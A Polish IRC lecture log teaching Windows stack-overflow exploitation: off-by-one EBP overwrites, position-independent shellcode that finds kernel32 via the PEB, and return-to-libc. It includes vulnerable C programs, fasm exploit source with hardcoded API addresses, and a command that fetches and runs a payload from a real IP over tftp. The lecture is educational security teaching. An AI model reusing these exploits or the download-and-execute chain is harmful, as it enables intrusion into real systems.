Temat wykladu: | ||
Security: Błędy stack overflow, pisanie exploitów i shellcodów, część II (by fr3m3n, 13.01.2007) @ wyklady.net | ||
Komentarze: http://forum.wyklady.net/index.php?topic=102.0 | ||
20:00 | fr3m3n | witam na drugiej czesci wykladu poswieconego bledom stack overflow i exploitom :) |
20:01 | fr3m3n | zakladam, ze rozumiecie pojecia z czesci pierwszej |
fr3m3n | jak kogos nie bylo, log (thx robol za obrobke ;) jest tutaj -> http://robol.uw-host.org/wyklady/fr3m3n_security1.html | |
Robol | ;] | |
20:02 | fr3m3n | wytlumacze do konca czym jest ramka stosu (wiekszosc powiedzialem tydzien temu), zostalo tylko krotkie powiedzenie czym jest instrukcja leave, pozniej offbyone+shellcode ;> |
fr3m3n | (diabel bardzo prosi zebym napisal ze go pozdrawiam, wiec go pozdrawiam) | |
20:03 | fr3m3n | jak mowilem tydzien temu, ramke stosu stawia sie za pomoca instrukcji: |
fr3m3n | push ebp | |
fr3m3n | mov ebp,esp | |
fr3m3n | dzieki temu caly czas mamy latwiejszy dostep do argumentow i zmiennych lokalnych | |
20:04 | fr3m3n | push ebp jest potrzebne, aby zachowac ramke stosu poprzedniej funkcji, przez ktora jestesmy prawdopdoobnie wywolani |
fr3m3n | dobrze, wiec pozdrawiam wszystkich ;> | |
20:05 | fr3m3n | wiec, na koncu funkcji trzeba przywrocic poczatkowy adres esp (tak aby adres powrotu byl na [esp]) |
fr3m3n | i poczatkowa zawartosc rejestru ebp | |
fr3m3n | sa to dwie instrukcje: | |
fr3m3n | mov esp,ebp | |
fr3m3n | pop ebp | |
20:06 | fr3m3n | jako ze jest to bardzo czesty kod, intel pomyslal o zrobieniu specjalnej instrukcji, ktory robi dokladnie to samo |
fr3m3n | leave | |
fr3m3n | jest to calkowicie rownoznaczne poprzednim dwom :) | |
fr3m3n | dobra, tyle o ramce stosu, teraz blad offbyone | |
20:07 | fr3m3n | Blad off-by-one polega na jedno bajtowym przepelnieniu zachowanego rejestru ebp z poprzedniej funkcji |
fr3m3n | (czasami mozemy nadpisac odrazu adres powrotu, albo jakis zachowany rejestr - w pierwszym przypadku | |
fr3m3n | jest to bardzo podobne do najprostszego stack overflow z strcpy (czesc 1), | |
fr3m3n | (czesc 1 wykladu) | |
20:08 | fr3m3n | w drugim polega na analizie kodu, czasami exploitacja nie jest mozliwa, czasami tak... |
fr3m3n | zajmiemy sie tutaj tylko nadpisaniem rejestru ebp - najbardziej prawdopodobny przypadek | |
fr3m3n | Jak juz powiedzialem wczesniej, funkcja ma obowiazek zachowac rejestr ebp (jesli go zmienia) | |
20:09 | fr3m3n | (Zachowanie odbywa sie poprzez push na stos przy starcie funkcji, i pop na koncu) |
fr3m3n | dobrze, zobaczmy teraz podatny kod: | |
fr3m3n | void offbyone(char *tekst){ | |
fr3m3n | char bufor[512]; | |
fr3m3n | for(int i=0;i<=sizeof(bufor);++i){ | |
fr3m3n | bufor[i]=tekst[i]; | |
fr3m3n | if(tekst[i]==0) break; | |
fr3m3n | } | |
fr3m3n | } | |
20:10 | fr3m3n | Widzimy tutaj blad logiczny - wbrew pozorom dosc czesty |
fr3m3n | zamiast instrukcji | |
fr3m3n | i<sizeof(bufor) | |
fr3m3n | mamy instrukcje | |
fr3m3n | i<=sizeof(bufor) | |
20:11 | fr3m3n | moze to spowodowac zapisanie bajtu w bufor[512] - co bardzo czesto okaze sie najmniej znaczacym bajtem |
fr3m3n | ramki stosu (0xAABBCCDD - DD to najmniej znaczace bajty) | |
fr3m3n | jak wyglada exploitacja takiego bledu? | |
fr3m3n | : nadpisujemy ostatni bajt ebp, tak aby wskazywal na jakies miejsce w buforze | |
fr3m3n | Najczesciej jest to obszar tuz przed zachowanym ebp | |
fr3m3n | dlaczego? | |
fr3m3n | Instrukcje tuz przed wystapieniem bledu segmentation fault (albo wykonaniem naszego shellcodu ;>) wyglada tak: | |
20:12 | fr3m3n | wygladaja* |
fr3m3n | leave | |
fr3m3n | ret | |
fr3m3n | Wpisujemy wiec nasz bufor tak, ze koniec buforu to adres ebp zachowanego na stosie,a zachowany ebp wskazuje na adres konca bufora w naszym buforze | |
fr3m3n | Dlaczego w ten sposob? | |
20:13 | fr3m3n | Pamiec wyglada w tej chwili tak: |
fr3m3n | (zakladajac, ze nadpisalismy ebp tak, ze ebp na stosie=adres 'koniec buforu+4'): | |
fr3m3n | ;ebp=koniec buforu-4 | |
fr3m3n | 0x00: ZACHOWANY EBP | |
fr3m3n | 0x04: KONIEC BUFORU ;czyli adres naszego shellcodu | |
fr3m3n | 0x08: KONIEC BUFORU+4 | |
fr3m3n | ... | |
fr3m3n | ;adresy sa oczywiscie przykladowe | |
20:14 | fr3m3n | leave zrobi wiec nastepujaca rzecz: |
fr3m3n | esp zostanie ustawiony na ebp (czyli adres 'koniec buforu+4') | |
fr3m3n | 4 bajty znajdujace sie na pozycji 'koniec buforu+4' zostana przypisane do rejestru ebp | |
fr3m3n | (nie obchodzi nas to specjalnie) | |
fr3m3n | przy ret zostanie wykonany skok do adresu wskazywanego przez 'KONIEC BUFORU' | |
20:15 | fr3m3n | ktory powinien byc adresem naszego shellcode ;> |
fr3m3n | (co to shellcode - za dluzsza chwile, choc wiekszosc pewnie juz wie ;) | |
fr3m3n | Powyzszy schemat zadziala w przypadku bledu slupka w plocie (tak rowniez jest nazywany off-by-one) | |
20:16 | fr3m3n | w przypadku funkcji np. kopiujacych pamiec |
fr3m3n | nie zadziala za to w przypadku bledu przy stringu - adres na 99,99% bedzie mial w sobie zero | |
fr3m3n | (oczywiscie, zalezy to od wielu czynnikow, system, itd) | |
fr3m3n | co zakonczy kopiowanie i uniemozliwi nadpisanie ebp | |
20:17 | fr3m3n | powyzszy schemat trzeba nieco zmodyfikowac, zajmiemy sie tym za chwile |
20:18 | fr3m3n | pytania jakies? |
fr3m3n | chyba nie | |
fr3m3n | w adresie potrzebujemy zera. skad je jednak wziasc? | |
20:19 | fr3m3n | 1. wskazujemy ebp na drugi bufor, wprowadzony w innym miejscu programu - wtedy nie ma zadnych problemow |
fr3m3n | 2. uzyc adresu ktory juz gdzies jest - wtedy tym bardziej nie ma zadnych problemow ;> | |
fr3m3n | (jak mozna zauwazyc, jest to tak naprawde bardzo podobne) | |
fr3m3n | Potrzebujemy adresu naszego buforu... chwila myslenia... | |
20:20 | fr3m3n | no jasne! adres buforu jest argumentem naszej funkcji |
fr3m3n | musi wiec byc gdzies blisko na stosie ;> | |
fr3m3n | ||
fr3m3n | jak widac na obrazku (prawy dol), adresy sa nastepujace: | |
fr3m3n | (prawy dol to stos) | |
fr3m3n | zachowany ebp = 0x0012FF6c | |
20:21 | fr3m3n | argument = 0x0012FF64 |
fr3m3n | Ostatnim bajtem naszego 513 bajtowego kodu do przepelnienia musi wiec byc 0x60 | |
fr3m3n | (dlaczego? z adresu 0x0012FF60 zostanie sciagniety ebp, a pozniej nastapi ret, juz do adresu 0x0012FF64) | |
20:22 | fr3m3n | ret - powrot ;> |
fr3m3n | do bufora ladujemy shellcode, pozniej cokolwiek, a na koncu 0x60 | |
fr3m3n | i blad off-by-one exploitniety ;> | |
20:23 | fr3m3n | Jeszcze mala uwaga na koniec - czasami blad off-by-one objawia sie poprzez off-by-one jedynie bajtem 0 |
fr3m3n | np. przy zlym uzyciu funkcji strncat | |
fr3m3n | mozna wtedy: | |
fr3m3n | a. wykorzystac technike return-to-libc (wykonywanie funkcji systemowych - o tym powiem pozniej) dla adresow nie zawierajacych zera; | |
fr3m3n | (wlasciwie to funkcji po prostu gdzies juz obecnej) | |
fr3m3n | b. w przypadku, gdy funkcja rodzica korzysta jeszcze z ramki stosu do swoich zmiennych lokalnych, | |
fr3m3n | czesto mozna spowodowac blad np. w pobieraniu danych, czy manipulacja nich, ktory zaowocuje wykonaniem naszego kodu | |
20:24 | fr3m3n | c. czasem jedyne co mozna zrobic, to zwiesic program |
fr3m3n | teraz pytania, a za chwile wstrzykniemy shellcode | |
fr3m3n | nie ma pewnie? :> | |
[Ocb | hmm | |
aLuCaRd14_PL | pytanie .. o czym ty gadasz xD | |
20:25 | [Ocb | aLuCaRd14_PL explit ? |
[Ocb | exploit * | |
fr3m3n | to sa bledy przepelnienia stosu, zobacz czesc 1 dla wstepu | |
adam_i | mozan by dodac ze pod linuxem adresy buforu itp bardzo rzadko maja jakies 0 w adresie | |
fr3m3n | i ogolnie, assembler ;> | |
aLuCaRd14_PL | A | |
fr3m3n | nom | |
fr3m3n | napisalem ze zalezy od systemu itd | |
fr3m3n | ok | |
[Ocb | OBSD | |
fr3m3n | obsd to inna bajka ;: | |
fr3m3n | ;> | |
fr3m3n | ok | |
fr3m3n | tfu | |
20:26 | fr3m3n | tutaj caly kod programu z bledem: |
fr3m3n | http://fr3m3n.wyklady.net/w_cz2/offbyone.c | |
fr3m3n | tutaj plik .exe: | |
fr3m3n | http://fr3m3n.wyklady.net/w_cz2/offbyone.exe | |
fr3m3n | nasz shellcode sciagnie nam 1,5 kB plik exe - payload.exe | |
20:27 | fr3m3n | jedyne co ten plik robi, to wyswietla msgbox z wiadomoscia ze sie uruchomil :) |
fr3m3n | zrodlo tu: | |
fr3m3n | http://fr3m3n.wyklady.net/w_cz2/payload.asm | |
fr3m3n | (rownie dobrze mozna to napisac w c) | |
fr3m3n | a exe tu: | |
fr3m3n | http://fr3m3n.wyklady.net/w_cz2/payload.exe | |
20:28 | fr3m3n | padlo pytanie, co robi program offbyone.c |
fr3m3n | kopiuje on pierwszy argument do bufora | |
fr3m3n | w petli z bledem slupka w plocie | |
20:29 | fr3m3n | czyli skopiuje nam o bajt za duzo |
fr3m3n | c:\program argument | |
fr3m3n | argument to ten argument ;p | |
fr3m3n | ok, zajmiemy sie teraz shellcode | |
fr3m3n | Shellcode jest to nazwa specjalnego kodu, 'wstrzykiwanego' programowi z bledem | |
fr3m3n | pierwotnie oznaczal on kod, ktory uruchomi nam shell z prawami programu | |
20:30 | fr3m3n | (glownie chodzilo o unixowe programy z suidem) |
fr3m3n | dzis oznacza po prostu kod uzywany do exploitow (moze robic duzo innych rzeczy) | |
fr3m3n | kod uzywany jako shellcode musi posiadac kilka cech: | |
20:31 | fr3m3n | 1. nie moze opierac sie na adresach absolutnych; moze byc umieszczony pod kazdym adresem w pamieci |
20:32 | fr3m3n | oznacza to ze mozna uzywac jedynie adresow relatywnych, (tzn odleglosci miedzy instrukcjami) albo 'naprawiac' adresy |
fr3m3n | naprawiac - tzn pobieramy eip (czyli aktualny adres 'gdzie jestesmy') przy pomocy calla | |
20:33 | fr3m3n | pozniej wykorzystujac adres dodajemy go do adresow np. jakichs funkcji |
fr3m3n | (jest to w ten sposob zrobione w moim shellcode, za chwile pokaze kod) | |
fr3m3n | 2. nie powinien zawierac bajtu 0 - shellcode bardzo czesto jest skladowany jako string | |
fr3m3n | wiec bajt 0 zakonczy wprowadzanie, co uniemozliwilo by exploitacje | |
fr3m3n | 3. nie powinien tez zawierac bajtow kontrolnych - szczegolnie spacji (0x20), tab (9), znaku nowej linii (0x0A) | |
20:34 | fr3m3n | spacja i tab - w przypadku bledu w pobieraniu argumentow |
fr3m3n | znak nowej linii tez tutaj, ale takze funkcje scanf, fgets, itd | |
fr3m3n | znaki takie jak CR (0x0D) i backspace (8) rowniez sa niewskazane | |
fr3m3n | sa to pewne ograniczenia - ale latwo sobie z nimi poradzic, starczy po nie uzywawc niektorych opcodow | |
20:35 | fr3m3n | (np. mov reg32,[ebp]) itd... |
fr3m3n | (powyzsza instrukcja bedzie zawierala 0) | |
fr3m3n | tutaj koncza sie cechy wspolne kazdego shellcode - reszta zalezy od systemu | |
20:36 | fr3m3n | na systemach *nix mamy latwiutko - mamy przerwanie int 0x80, do tego mamy pelnoprawny shell z takimi komendami jak wget itd... |
fr3m3n | (w cmd da sie sciagac i zrobic wszystko z systemem, ale jest troche trudniej - mniej mozliwosci) | |
fr3m3n | (przynajmniej w standardowej instalacji) | |
fr3m3n | na systemach windows musimy znalezc adresy funkcji winapi, gdyz na windowsach nie istnieje odpowiednik int 0x80 | |
fr3m3n | (istnieja oczywiscie przerwania systemowe /tzw. native api/ takie jak np. 0x2E - ale numery funkcji zmienaja sie z kazdym systemem) | |
20:37 | fr3m3n | wie nie mozna sie na tym opierac - chyba ze znamy dokladna wersje systemu |
fr3m3n | ktory sobie upatrzylismy na atak ;> | |
fr3m3n | (w int 0x2e afair tylko pierwsza funkcja jest ta sama w wszystkich windowsach) | |
fr3m3n | mamy wiec dwie opcje: | |
20:38 | fr3m3n | 1. znalezc adresy funkcji winapi dla danego systemu i zakodowac je 'na chama' w shellcodzie |
fr3m3n | tzw. hardcoded | |
fr3m3n | hardcoded addresses* | |
fr3m3n | powstaly kod bedzie wtedy dzialal tylko pod jednym systemem | |
fr3m3n | (mozna tez uzywac przerwan, ale wtedy kod bedzie wiekszy) | |
fr3m3n | 2. dynamicznie szukac adresow api :) | |
fr3m3n | (funkcja winapi - to np. MessageBox) | |
20:39 | fr3m3n | sa one zawarte glownie w plikach dll |
fr3m3n | po zaladowaniu pliku dll funkcaj staje sie dostepna pod jakims adresem... i ten wlasnie adres trzeba znalezc | |
20:40 | fr3m3n | druga metoda jest oczywiscie o wiele lepsza... jest niestety dosc duza - zajmuje ok. 150 bajtow w kodzie |
fr3m3n | (czyli szukania dynamicznie adresow) | |
fr3m3n | czasami jest to problem, wtedy stosuje sie inne techniki | |
fr3m3n | aby znalezc adresy api, najpierw trzeba znalezc adres kernel32.dll w pamieci | |
20:41 | fr3m3n | (jak ktos nie jest zainteresowany jak sie tworzy shellcode pod windows, moze na 5 minut odejsc od komputera) |
fr3m3n | robi sie to jedna z trzech metod (PEB, SEH i TOPSTACK) | |
fr3m3n | PEB to skrot od Process Environment Block, taka wewnetrzna struktura windows, ma ja kazdy proces | |
20:42 | fr3m3n | mozna sie do niej dostac korzystajac z innej struktury - tzw. Thread Environment Block - ktory z kolei zawszeznajduje sie na fs:0 |
fr3m3n | SEH to skrot od Secure Exception Handling, pozwala 'wylapac' blad (np. seg fault) i zrobic z nim cos | |
fr3m3n | taki odpowiednik syganlow z unixa | |
fr3m3n | dizeki temu jak np. internet explorer 'zlapie' jakis blad, program nam sie nie wywali | |
20:43 | fr3m3n | tylko ie powie nam ze ma jakies problemy i ze powinien zostac zrestartowany |
fr3m3n | TOPSTACK jest to metoda wyszukujaca adres kernel32.dll zdejmujac adres powrotu z stosu i szukajac kernela 'w okolicy' | |
fr3m3n | program jest uruchamiany przez call z kernel32.dll | |
fr3m3n | wiec po starcie programu | |
fr3m3n | w [esp] jest adres powrotu - ten adres jest gdzies w srodku kernel32.dll | |
fr3m3n | w moim shellcodzie uzylem metody PEB - jest imho najlepsza | |
20:44 | fr3m3n | zadziala zawsze, chyba ze ktos specjalnie podmienil wartosci |
fr3m3n | i jest najszybsza | |
fr3m3n | metoda SEH dziala podobnie jak metoda TOPSTACK, z tym ze pobiera adres ostatniego handlera bledow | |
fr3m3n | ktory takze znajduje sie w kernel32.dll | |
fr3m3n | (handler bledow to funkcja, wywolywana przy bledzie np. segmentation fault | |
20:45 | fr3m3n | funkcji moze byc kilka, kazda z nich po zapoznaniu sie z bledem 'decyduje' czy 'radzi' sobie z nim, czy oddaje kontrole nastepnej |
fr3m3n | taka lista funckji | |
fr3m3n | ostatnia funkcja znajduje sie w kernel32.dll, i to ona jest odpowiedzialna za wyswietlenie tego okienka o bledzie | |
fr3m3n | ) | |
fr3m3n | metoda PEB po prostu pobiera adres kernel32.dll z struktury PEB | |
20:46 | fr3m3n | (wszystkie trzy metody dzialaja na windowsach od 95 do XP... Vista zdaje sie tez, ale nie jestem pewien) |
fr3m3n | Jak juz mamy adres kernel32.dll, szukamy w nim adresow funkcji w tzw. export table | |
fr3m3n | wiecej informacji mozna znalezc w google pod haslem 'PE Export Table' 'Secure Exception Handling' 'Process Environment Block' itd... | |
fr3m3n | Moj shellcode pobiera plik z adresu i uruchamia go (uzywajac funkcji system() ) | |
20:47 | fr3m3n | (funkcja system() ma pewna wade, otwiera okno konsoli... jesli 0,1 sekundowe migniecie konsoli nam nie przeszkadza, mozna to tak zostawic. jesli ktos chce 'czystej' akcji, mozna uzyc CreateProcess - jednak shellcode bedzie grubszy o ok. 20 bajtow) |
fr3m3n | (opis winapi, export table, czym jest dll itd mozna takze znalezc w moim wykladzie o winapi sprzed jakiegos roku -> http://wyklady.net/logs/fr3m3n_assm1.htm ) ;> | |
20:48 | fr3m3n | http://fr3m3n.wyklady.net/w_cz2/shellcode.asm |
fr3m3n | to jest kod shellcode | |
20:49 | fr3m3n | shellcode spelnia wszystkie wymagania podane wyzej (brak nulla, itd) |
fr3m3n | (w nieco czytelniejszej (?) formie jest tu -> http://fr3m3n.wyklady.net/index.php?i=2 ) | |
fr3m3n | ma w dodatku taka zalete, ze adres mozna dowolnie zmieniac, bez potrzeby rekompilacji - program sam znajdzie gdzie sie konczy adres, i gdzie jest nazwa pliku | |
20:50 | fr3m3n | adres pliku do sciagniecia |
fr3m3n | (plik zostanie zapisany pod taka sama nazwa, jaka ma na serwerze) | |
fr3m3n | dobrze, omowilem juz co to shellcode, mozna wiec uzyc go do exploitacji :> | |
fr3m3n | http://fr3m3n.wyklady.net/w_cz2/run.c | |
fr3m3n | kod w C exploitera | |
fr3m3n | http://fr3m3n.wyklady.net/w_cz2/run.exe | |
fr3m3n | a to plik exe ;> | |
20:51 | fr3m3n | run.exe musi byc uruchomiony w tym samym katalogu co plik offbyone.exe |
fr3m3n | poda mu argument o jeden bajt za duzo - co spowoduje nadpisanie ebp, i w rezultacie uruchomienie shellcodu | |
20:52 | fr3m3n | po uruchomieniu run.exe powinnismy zobaczyc nieszkodliwy msgbox :) |
fr3m3n | sciagniety z strony | |
fr3m3n | (czyli plik payload.exe) | |
fr3m3n | jest to gotowy exploit wykorzystujacy blad off-by-one | |
20:53 | fr3m3n | za chwile zajmiemy sie technika return-to-libc, czyli co zrobic w przypadku, gdy stos nie jest wykonywalny |
fr3m3n | (bit n/x na nowszych procesorach, PaX, W^X, itd) | |
fr3m3n | co oznacza, ze shellcode w buforze (ktory jest przeciez na stosie) nie bedzie mogl zostac uruchomiony | |
fr3m3n | proba uruchomienia spowoduje tylko blad | |
fr3m3n | ok | |
20:54 | fr3m3n | pytania? |
Ruccio | tak kiedy bedzie | |
coyote | pozniej :) | |
nemessica | fr3m3n: ufff;) | |
nemessica | pogadamy potem;) | |
fr3m3n | Ruccio | |
fr3m3n | kiedy bedzie co? | |
ant_ | fr3m3n: pytania 2 | |
ant_ | 1) kiedy bedzie log bo sie spoznilem | |
ant_ | 2) to juz koniec? | |
fr3m3n | jakies 5-10 minut po wykladzie | |
fr3m3n | nie | |
ant_ | super | |
20:55 | fr3m3n | <fr3m3n> za chwile zajmiemy sie technika return-to-libc, czyli co zrobic w przypadku, gdy stos nie jest wykonywalny |
fr3m3n | ;> | |
fr3m3n | tyle pytan? | |
ant_ | duzo jeszcze zostalo? | |
nemessica | chyba jop;] | |
fr3m3n | return-to-libc i tyle | |
ant_ | to podstawy sa? | |
fr3m3n | myslaelm o format string ale to wlasiwie temat na caly wyklad | |
fr3m3n | tak | |
fr3m3n | a nie? | |
ant_ | czy cos jeszcze dajesz | |
ant_ | aaa ;) | |
fr3m3n | ok | |
ant_ | ok | |
20:56 | fr3m3n | co to jest return-to-libc? |
fr3m3n | Jest to technika polegajaca na podawaniu adresow funkcji juz istniejacych w danym srodowisku | |
fr3m3n | np. funkcji danego programu, czy tez api danego systemu (libc, winapi,...) | |
fr3m3n | Wywolanie funkcji runme() z czesci 1 wykladu bylo tak naprawde atakiem return-to-libc :) | |
fr3m3n | jednak dosc prostym i malo uzytecznym | |
20:57 | fr3m3n | return-to-libc czesto polega na tworzeniu 'lancuszkow' polecen |
fr3m3n | np. | |
fr3m3n | sciagnij plik -> uruchom plik -> zakoncz sie normalnie (zeby nie bylo brzydkiego wpisu w logach) | |
fr3m3n | naprawde bedzie (czy raczej - moze) to wygladac tak: | |
fr3m3n | huh, zapomnialem zrobic screena | |
20:58 | fr3m3n | no nic |
fr3m3n | $ = esp = 0x0012ff70) | |
fr3m3n | $ ADRES POWROTU ;adres funkcji system() | |
fr3m3n | $+4 adres exit | |
fr3m3n | $+8 adres stringa "tftp -i 62.233.194.195 GET p p.exe && p" | |
fr3m3n | $+16 tu string, musi byc powyzej esp | |
fr3m3n | mamy funkcje z prostym bledem stack overflow - np. taka z strcpy, czy gets | |
fr3m3n | http://fr3m3n.yoyo.pl/w_cz2/returntolibc.c | |
fr3m3n | http://fr3m3n.yoyo.pl/w_cz2/returntolibc.exe | |
20:59 | fr3m3n | widzimy tu dwa wywolania funkcji gets - funkcja gets pobiera tyle bajtow 'ile wlezie' pojecia takie jak rozmiar bufora sa dla niej obce |
fr3m3n | co bardoz czesto prowadzi do stack overflow | |
21:00 | fr3m3n | #include <stdio.h> |
fr3m3n | int main(void){ | |
fr3m3n | char bufor[512]; | |
fr3m3n | gets(bufor); | |
fr3m3n | gets(bufor); | |
fr3m3n | return 0; | |
fr3m3n | } | |
fr3m3n | (gets jest dwa razy, inaczej exploiting bylby dosc skomplikowany, a chodzi przeciez o pokazanie czym jest dana rzecz) | |
21:01 | fr3m3n | ten program pobiera z linii komend dwa stringi |
21:02 | fr3m3n | jesli jeden string bedize dluzszy niz 511 znakow (+null) to nadpisze nam ebp, adres powrotu, itd |
fr3m3n | ogolnie, mozemy nadpsiac caly stos | |
fr3m3n | (tutaj jest identycznie jak w cz. 1 z strcpy) | |
fr3m3n | mamy jednak problem - stos jest niewykonywalny | |
fr3m3n | nie mozemy wiec wrzucic shellcode i uruchomic go | |
21:03 | fr3m3n | za to mozemy uruchomic dowolny kod, znajdujacy sie w danej chwili w programie/cyz tez zaladowanym api |
fr3m3n | kazda funkcja winapi ma swoj adres - jak kazda inna funkcja :) | |
21:04 | fr3m3n | ten program automatycznie ma zaladowany kernel32.dll, user32.dll, gdi32.dll i crtdll.dll |
fr3m3n | crtdll ma interesujaca funkcje - system, ktory pozwala nam w jednym argumencie uruchomic jakis inny program | |
fr3m3n | np. taki, ktory cos sciagnie ;> | |
21:05 | fr3m3n | tutaj jest jednak problem z przenosnioscia - na kazdym windowsie adresy api sa (zazwyczaj) inne |
fr3m3n | musimy wiec znac wersje systemu, ew. probowac wszystkich mozliwych adresow ;> | |
fr3m3n | http://fr3m3n.yoyo.pl/w_cz2/getapi.c | |
21:06 | fr3m3n | http://fr3m3n.yoyo.pl/w_cz2/getapi.exe |
fr3m3n | jest to program do pobierania adresow funkcji api w danym w systemie | |
fr3m3n | po uruchomieniu, pyta sie nas o dllke i nazwe funkcji | |
fr3m3n | podajemy odpowiednio: crtdll.dll | |
fr3m3n | i | |
fr3m3n | system | |
fr3m3n | u mnie wyglada to tak: | |
21:07 | fr3m3n | D:\wyklad_cz2>getapi |
fr3m3n | Podaj dll | |
fr3m3n | crtdll.dll | |
fr3m3n | Podaj funkcje | |
fr3m3n | system | |
fr3m3n | Base address crtdll.dll to: 0x77630000, a adres funkcji system to 0x7763f9aa | |
fr3m3n | potrzebna nam bedzie jeszcze jedna funkcja - exit (zeby progam zakonczyl sie bez bledu i nie brzydkiego wpisu w logach) | |
21:08 | fr3m3n | D:\wyklad_cz2>getapi |
fr3m3n | Podaj dll | |
fr3m3n | crtdll.dll | |
fr3m3n | Podaj funkcje | |
fr3m3n | exit | |
fr3m3n | Base address crtdll.dll to: 0x77630000, a adres funkcji exit to 0x77631f60 | |
21:09 | fr3m3n | musimy wiec naruszysc stos tak, aby najpierw wykonal sie system("program"), a pozniej exit |
fr3m3n | funkcja main w chwili powrotu wyglada tak: | |
21:10 | fr3m3n | ($ = esp = 0x0012ff70) |
fr3m3n | $ ADRES POWROTU | |
fr3m3n | $+4 jakies inne dane... | |
fr3m3n | $-4 - zachowany ebp | |
fr3m3n | $-8 koniec bufora | |
21:11 | fr3m3n | musi to wygladac tak: |
fr3m3n | ($ = esp = 0x0012ff70) | |
fr3m3n | $ ADRES POWROTU ;adres funkcji system() | |
fr3m3n | $+4 adres exit | |
fr3m3n | $+8 adres stringa "tftp -i 62.233.194.195 GET p p.exe && p" | |
fr3m3n | $+16 tu string, musi byc powyzej esp | |
fr3m3n | bedzie to wygladac tak: | |
fr3m3n | ret w main 'powraca' do funkcji system | |
21:12 | fr3m3n | adresem 'powrotnym' z funkcji system jest funkcja 'exit' |
fr3m3n | wiec, pod koniec funkcji system() nastapi ret, ktory uruchomi funkcje exit i zakonczy program ;> | |
fr3m3n | na $+8 (czyli esp w chwili ret w main + 8) musi byc argument dla funkcji system | |
21:13 | fr3m3n | funkcja system przyjmuje jeden argument, jest to adres stringa z poleceniem |
fr3m3n | ten string musi byc umieszczony powyzej stosu - jesli bedize ponizej (np. w buforze) zostanie on nadpisany zmiennymi loklanymi funkcji system() | |
fr3m3n | i program nam sie nie uruchomi | |
21:14 | fr3m3n | program tftp jest standardowo w kazdym windowsie (chyba ;) |
fr3m3n | jest to protokol Trivial Ftp - nie ma zadnego logowania, jest tylko sciaganie plikow | |
21:15 | fr3m3n | ten ip 62.233.194.195 jest moj, mam w tej chwili uruchomiony serwer tftp, mozna sciagnac plik :d |
fr3m3n | plik 'p' to po prostu plik 'payload.exe' ktory sciagal nam nasz shellcode | |
fr3m3n | po pomyslnym sciagnieciu pliku, zostanie on uruchomiony | |
fr3m3n | mozemy wiec zbudowac plik, ktory posluzy nam jako exploit: | |
21:16 | fr3m3n | http://fr3m3n.wyklady.net/w_cz2/exploit.asm |
fr3m3n | http://fr3m3n.wyklady.net/w_cz2/exploit.bin | |
fr3m3n | jest to fasm - mozna go sciagnac z http://flatassembler.org | |
fr3m3n | powyzszy plik mozna oczywiscie zbudowac na wiele sposobow, imho assembler jest najlatwiejszym | |
21:17 | fr3m3n | exploiting bedzie wygladal tak: |
fr3m3n | returntolibc < exploit.bin | |
fr3m3n | jesli adresy funicji sie zgadzaja, progam zostanie zakonczony bez bledow, plik p.exe sciagniety i uruchomiony | |
fr3m3n | jesli ktos ma akurat windows nt sp6, moze uzyc plik exploit.bin | |
21:18 | fr3m3n | jesli nie, musi zmienic adresy funkcji na te w swoim systemie |
fr3m3n | (mozna je uzyskac z programu getapi) | |
fr3m3n | mozna do zmiany uzyc assemblera (fasm), ale mozna tez zwyklym hexedytorem - trzeba tylko w pliku exploit.bin zlokalizowac adresy | |
21:19 | fr3m3n | ;1 gets |
fr3m3n | repeat 512+5*4 | |
fr3m3n | db 'b' ;bufor | |
fr3m3n | end repeat | |
fr3m3n | db "tftp -i 62.233.194.195 GET p p.exe && p" | |
fr3m3n | db 0x0a | |
fr3m3n | umiesci nam to string z poleceniem na adresie esp (w chwili powrotu) + 16 | |
fr3m3n | czyli w bezpiecznym rejonie, nie grozi nam zadne nadpisanie zmiennymi lokalnymi | |
21:20 | fr3m3n | ;2 gets |
fr3m3n | repeat 512+4 | |
fr3m3n | db 'b' ;bufor + ebp | |
fr3m3n | end repeat | |
fr3m3n | dd 0x7763f9aa ;system | |
fr3m3n | dd 0x77f1a15d ;exit | |
fr3m3n | dd 0x0012Ff80 ;adres polecenia | |
fr3m3n | a to ustawi nam adresy funkcji i adres bufora | |
fr3m3n | dlaczego trzeba to robic w dwoch turach? adres polecenia ma w sobie zero, co konczy wczytywanie przez gets | |
fr3m3n | mozna sobie poradzic bez tego (korzystajac z argumentow np.) ale jest to bardziej skomplikowane | |
21:21 | fr3m3n | jakies pytania na koniec? |
[Ocb | prawie jak na studiach | |
[Ocb | 1.5h wyklad | |
21:22 | fr3m3n | shit, zapomnialem o --wyklad-- i ==wyklad== |
radek | No, ej, dokladnie jak na studiach. Nic nie zrozumialem. | |
Robol | e tam, poradze sobie ;] | |
[Ocb | no ja na wyklady nie chodze | |
[Ocb | ale jby mowili na studiach o exploitachi shellcodach | |
nemessica | ale marudzicie;) | |
[Ocb | to moge chodzic | |
21:23 | fr3m3n | zobaczcie czesc pierwsza, tam sa podstawy wyjasnione |
fr3m3n | http://robol.uw-host.org/wyklady/fr3m3n_security1.html | |
[Ocb | fr3m3n na ircnecie tez sa wyklady ? | |
[Ocb | czy tylko tutaj ? | |
fr3m3n | tylko tutaj afair | |
nemessica | zapytaj na ircnetcie | |
fr3m3n | http://fr3m3n.wyklady.net/wyklad/log_czesc1.txt - tutaj wersja bez kolorkow, ale podobno powyzszy adres niektorym nie dziala | |
[Ocb | no to pytam | |
fr3m3n | dobra | |
fr3m3n | tutaj koniec:D |